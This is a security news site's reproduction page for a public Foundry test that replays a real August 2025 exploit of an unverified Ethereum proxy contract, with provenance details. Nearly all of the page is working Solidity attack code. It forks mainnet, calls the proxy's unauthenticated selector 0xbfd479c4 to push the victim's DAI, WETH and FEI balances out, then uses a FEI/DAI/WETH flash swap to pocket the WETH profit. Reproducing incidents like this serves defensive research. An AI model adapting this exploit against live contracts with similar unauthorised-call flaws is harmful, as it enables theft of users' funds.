Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/unverified_6f7a_exp.sol

Public reproduction file for dataset entry Unverified_6f7a.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/unverified_6f7a_exp.sol228 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 7,630.46 USD
7// Attacker : 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783
8// Attack Contract : 0x308a2c17e8f7C41982C8e944560876A0241324E1
9// Vulnerable Contract : 0x6f7a14bd931554683ED15Dc92e25D046eD68EA68
10// Attack Tx : https://etherscan.io/tx/0x653b185a57fb5909180fe4eede67e51c5e9b70af16937382f86d5aefe635e5a7
11//
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x6f7a14bd931554683ED15Dc92e25D046eD68EA68#code
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1706
17//
18// Attack summary: The attacker called an unverified implementation behind the proxy once for each token
19// balance held by the victim (DAI, WETH, and FEI), forcing those balances through its liquidity path. A final
20// FEI/DAI/WETH flash swap captured the resulting price imbalance as WETH profit.
21// Root cause: The proxy exposed selector 0xbfd479c4 without caller authorization or a constraint that the
22// token amount belonged to msg.sender, so an arbitrary caller could process the victim's live token balances.
24address constant ATTACKER = 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783;
25address constant VULNERABLE_CONTRACT = 0x6F7a14Bd931554683ed15dC92e25D046Ed68EA68;
26address constant IMPLEMENTATION = 0x338FfEacCf929c88fb9574DC202dC1714b1903E7;
27address constant UNVERIFIED_ROUTER = 0x14E6D67F824C3a7b4329d3228807f8654294e4bd;
28address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
29address constant FEI_DAI_PSM = 0x7842186CDd11270C4Af8C0A99A5E0589c7F249ce;
30address constant DAI_WETH_PAIR = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11;
31address constant FEI_WETH_PAIR = 0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878;
32address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
33address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
34address constant FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA;
36interface IERC20 {
37 function balanceOf(
38 address account
39 ) external view returns (uint256);
40 function approve(
41 address spender,
42 uint256 amount
43 ) external returns (bool);
44 function transfer(
45 address to,
46 uint256 amount
47 ) external returns (bool);
50interface IWETH is IERC20 {
51 function deposit() external payable;
54interface IUniswapV2Router {
55 function swapETHForExactTokens(
56 uint256 amountOut,
57 address[] calldata path,
58 address to,
59 uint256 deadline
60 ) external payable returns (uint256[] memory amounts);
63interface IUniswapV2Pair {
64 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
65 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
68interface IUniswapV2Callee {
69 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
72interface ISimpleFeiDaiPSM {
73 function redeem(address to, uint256 amountFeiIn, uint256 minAmountOut) external returns (uint256 amountOut);
76contract ContractTest is BaseTestWithBalanceLog {
77 function setUp() public {
78 uint256 forkBlock = 23_196_045;
79 vm.createSelectFork("mainnet", forkBlock);
81 fundingToken = WETH;
82 attacker = ATTACKER;
84 vm.label(ATTACKER, "Attacker");
85 vm.label(VULNERABLE_CONTRACT, "Unverified Proxy 6f7a");
86 vm.label(IMPLEMENTATION, "Unverified Implementation");
87 vm.label(UNVERIFIED_ROUTER, "Unverified Liquidity Router");
88 vm.label(FEI_DAI_PSM, "SimpleFeiDaiPSM");
89 vm.label(DAI_WETH_PAIR, "DAI-WETH Pair");
90 vm.label(FEI_WETH_PAIR, "FEI-WETH Pair");
91 vm.label(WETH, "WETH");
92 vm.label(DAI, "DAI");
93 vm.label(FEI, "FEI");
94 }
96 function testExploit() public {
97 uint256 victimDaiBefore = IERC20(DAI).balanceOf(VULNERABLE_CONTRACT);
98 uint256 victimWethBefore = IERC20(WETH).balanceOf(VULNERABLE_CONTRACT);
99 uint256 victimFeiBefore = IERC20(FEI).balanceOf(VULNERABLE_CONTRACT);
100 uint256 attackerWethBefore = IERC20(WETH).balanceOf(ATTACKER);
102 vm.deal(ATTACKER, 0.01 ether);
104 vm.startPrank(ATTACKER);
105 AttackOrchestrator orchestrator = new AttackOrchestrator();
106 vm.label(address(orchestrator), "Local Attack Orchestrator");
107 orchestrator.execute{value: 0.01 ether}();
108 vm.stopPrank();
110 uint256 victimDaiAfter = IERC20(DAI).balanceOf(VULNERABLE_CONTRACT);
111 uint256 victimWethAfter = IERC20(WETH).balanceOf(VULNERABLE_CONTRACT);
112 uint256 victimFeiAfter = IERC20(FEI).balanceOf(VULNERABLE_CONTRACT);
113 uint256 attackerWethAfter = IERC20(WETH).balanceOf(ATTACKER);
115 emit log_named_decimal_uint("Victim DAI drained", victimDaiBefore - victimDaiAfter, 18);
116 emit log_named_decimal_uint("Victim WETH drained", victimWethBefore - victimWethAfter, 18);
117 emit log_named_decimal_uint("Victim FEI drained", victimFeiBefore - victimFeiAfter, 18);
118 emit log_named_decimal_uint("Attacker WETH profit", attackerWethAfter - attackerWethBefore, 18);
120 assertLt(victimDaiAfter, 1 ether);
121 assertLe(victimWethAfter, 100);
122 assertLt(victimFeiAfter, 1 ether);
123 assertGt(attackerWethAfter - attackerWethBefore, 0.24 ether);
124 }
127contract AttackOrchestrator {
128 receive() external payable {}
130 function execute() external payable {
131 VictimBalanceDrainer drainer = new VictimBalanceDrainer();
133 uint256 callValue = msg.value / 3;
134 drainer.drainToken{value: callValue}(DAI);
135 drainer.drainToken{value: callValue}(WETH);
136 drainer.drainToken{value: msg.value - callValue * 2}(FEI);
138 FeiDaiWethArb arb = new FeiDaiWethArb(ATTACKER);
139 arb.execute();
141 (bool sent,) = payable(ATTACKER).call{value: address(this).balance}("");
142 require(sent, "refund failed");
143 }
146contract VictimBalanceDrainer {
147 receive() external payable {}
149 function drainToken(
150 address token
151 ) external payable {
152 if (token == WETH) {
153 IWETH(WETH).deposit{value: 100}();
154 } else {
155 address[] memory buyPath = new address[](2);
156 buyPath[0] = WETH;
157 buyPath[1] = token;
158 IUniswapV2Router(UNISWAP_V2_ROUTER)
159 .swapETHForExactTokens{value: msg.value}(100, buyPath, address(this), block.timestamp + 1);
160 }
162 IERC20(token).approve(UNVERIFIED_ROUTER, 100);
164 uint256 victimBalance = IERC20(token).balanceOf(VULNERABLE_CONTRACT);
165 address[] memory tokens = new address[](1);
166 tokens[0] = token;
168 (bool success,) = VULNERABLE_CONTRACT.call(
169 abi.encodeWithSelector(bytes4(0xbfd479c4), address(this), tokens, uint256(0), victimBalance)
170 );
171 require(success, "victim call failed");
173 (bool refunded,) = payable(ATTACKER).call{value: address(this).balance}("");
174 require(refunded, "native refund failed");
175 }
178contract FeiDaiWethArb is IUniswapV2Callee {
179 address private immutable profitReceiver;
181 constructor(
182 address profitReceiver_
183 ) {
184 profitReceiver = profitReceiver_;
185 }
187 function execute() external {
188 uint256 borrowFei = 1_517_160_312_700_019_137_568;
189 IUniswapV2Pair(FEI_WETH_PAIR).swap(borrowFei, 0, address(this), abi.encode(borrowFei));
190 }
192 function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external override {
193 require(msg.sender == FEI_WETH_PAIR, "unexpected pair");
194 require(sender == address(this), "unexpected sender");
196 (uint112 feiReserve, uint112 wethReserve,) = IUniswapV2Pair(FEI_WETH_PAIR).getReserves();
197 (uint112 daiReserve, uint112 daiPairWethReserve,) = IUniswapV2Pair(DAI_WETH_PAIR).getReserves();
199 IERC20(FEI).approve(FEI_DAI_PSM, amount0);
200 ISimpleFeiDaiPSM(FEI_DAI_PSM).redeem(DAI_WETH_PAIR, amount0, 0);
202 uint256 wethOut = _getAmountOut(amount0, daiReserve, daiPairWethReserve);
203 IUniswapV2Pair(DAI_WETH_PAIR).swap(0, wethOut, address(this), "");
205 uint256 repayWeth = _getAmountIn(amount0, wethReserve, feiReserve);
206 IERC20(WETH).transfer(FEI_WETH_PAIR, repayWeth);
208 uint256 profit = IERC20(WETH).balanceOf(address(this));
209 IERC20(WETH).transfer(profitReceiver, profit);
210 }
212 function _getAmountOut(
213 uint256 amountIn,
214 uint256 reserveIn,
215 uint256 reserveOut
216 ) private pure returns (uint256) {
217 uint256 amountInWithFee = amountIn * 997;
218 return (amountInWithFee * reserveOut) / (reserveIn * 1000 + amountInWithFee);
219 }
221 function _getAmountIn(
222 uint256 amountOut,
223 uint256 reserveIn,
224 uint256 reserveOut
225 ) private pure returns (uint256) {
226 return ((reserveIn * amountOut * 1000) / ((reserveOut - amountOut) * 997)) + 1;
227 }

Analysis

Dataset entry

Public Foundry test for “Unverified_6f7a” (2025-08-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe4b97db5faf476db464bc271097fac97d6ce3783

  • Attack Contract

    0x308a2c17e8f7c41982c8e944560876a0241324e1

  • Vulnerable Contract

    0x6f7a14bd931554683ed15dc92e25d046ed68ea68

  • Attack Tx

    0x653b185a57fb5909180fe4eede67e51c5e9b70af16937382f86d5aefe635e5a7

File record

Name
Unverified_6f7a
Path
src/test/2025-08/unverified_6f7a_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4d6718de706d30b176318647f295078386a2461b
Language
Solidity
Size
229 lines
Date
2025-08-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/unverified_6f7a_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4d6718de706d30b176318647f295078386a2461b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.